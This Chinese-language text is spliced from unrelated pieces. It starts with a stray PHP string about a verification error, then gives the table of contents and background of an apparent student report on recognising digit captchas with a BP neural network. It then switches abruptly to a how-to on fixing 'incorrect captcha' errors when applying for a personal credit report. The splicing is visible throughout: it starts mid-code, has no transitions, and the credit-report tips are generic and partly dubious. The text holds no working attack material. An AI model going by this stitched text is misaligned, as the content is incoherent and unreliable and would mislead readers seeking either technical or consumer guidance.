"验证失败，错误代码：{$requestResult->code}，错误信息：{$requestResult->msg}";}最后验证码只有不停创新，才可以适应当前复杂的黑产现状以及业务多变的场景。

目录1 背景与挖掘目标 (1)2 问题分析 (2)2.1生成随机数字验证码 (2)2.2利用BP神经网络完成数字验证码识别 (2)3 建模过程与求解 (2)3.1模型的思想 (2)3.2模型的数据样本准备 (3)3.3模型的建立 (5)3.3.1 数据预处理 (5)3.3.2建立BP神经网络模型完成数字验证码的识别 (9)4 模型的评价与改进 (18)4.1 模型的不足 (18)4.2 模型的改进 (19)5 实验总结 (19)5.1 开发环境与软件配置 (19)5.2 小组分工 (19)5.3 个人小结 (19)参考文献 (19)1 背景与挖掘目标近几年来,互联网飞快的发展,它已经改变了人们存储信息和获取信息的方式。

信息不再存储在实体介质,而是存储在海量的网站内,人们存储,査找和获取信息变得更加方便快捷了。

但与此同时,也正是因为互联网的开放和自由,它也给不法分子提供了盗取信息的可能。

因此,人们逐渐开始重视网络防护与信息安全,其中,WEB的信息安全性尤其重要。

验证码是目前解决WEB系统安全登录的技术之一。

验证码用来区分人类和计算机,这种程序必须能生成人类很容易通过但是计算机却不能通过的测试。

验证码技术,由于其简单性,易实施性,和传输的数据量小等特点,现在己经被普遍用于提高网站的安全性和抗攻击的能力。

其目的是为了防止网站的批量注册、暴力破解密码、恶意攻击等等。

对验证码识别的研究有助于解决硬人工智能问题,促进人工智能领域的进步.现有的研究多是针对一种验证码,通过多种方法进行识别.这类方法对先验知识的依赖很大,识别方法对其他验证码不一定有效,或者需要大量调整来适应新的验证码.人工智能和机器学习技术的研究和应用越来越广泛，人工神经网络由于可以模拟人思维的方式。

被广泛使用，人工神经网络是一个非线性动力学系统，其特色在于信息的分布式存储和并行协同处理。

虽然单个神经元的结构极其简单，功能有限，但大量神经元构成的网络系统所能实现的行为却是极其丰富多彩的。

征信报告验证码不正确如何解决征信报告验证码不正确的问题？随着社会的发展，人们对于个人信用越来越重视。

征信报告作为衡量个人信用的重要参考，备受人们关注。

但在申请征信报告时，可能会遇到验证码不正确的问题，给申请个人信用报告带来一定的困扰。

那么，应该如何解决征信报告验证码不正确的问题呢？第一步：核实填写信息是否正确在申请征信报告时，填写个人信息极其重要。

如果你填写的信息不准确，很可能会出现验证码不正确的情况。

此时，你需要认真核对填写信息，保证填写的信息与个人实际情况一致。

同时，应尽量避免输入过长或过短的信息，以免影响到验证码的识别。

第二步：刷新验证码当你输入验证码后，如果发现不正确，可以尝试刷新验证码。

实际上，验证码不正确的原因有很多，有时候是因为网络问题或网站服务器出现故障，而导致的验证码无法正确识别。

因此，多次刷新验证码，有助于提高识别正确率。

第三步：换浏览器或设备如果经过多次尝试，验证码仍然不正确，可以考虑更换浏览器或设备。

有时浏览器或设备存在安全设置，可能会阻止验证码的正常识别，导致验证码不正确的情况出现。

因此，更换浏览器或设备，再次输入验证码，可以解决这个问题。

第四步：联系官方客服或机构如果以上方法都无法解决，可以联系官方客服或机构，反映问题并寻求帮助。

征信机构通常都设有客服热线或在线咨询渠道，拨打电话或在线咨询，向工作人员反映自己的情况和问题，工作人员会帮助你解决。

综上所述，解决征信报告验证码不正确的问题主要有以上几个步骤。

值得注意的是，如果你在申请征信报告过程中，遇到其他问题，也可以根据实际情况，通过官方渠道或与信用卡机构客服联系，获得相应的帮助和支持。

只有充分保护自己的个人信用，维护好个人信用体系的完整性，我们才能顺利提高个人信用水平，实现自我发展和个人价值的最大化。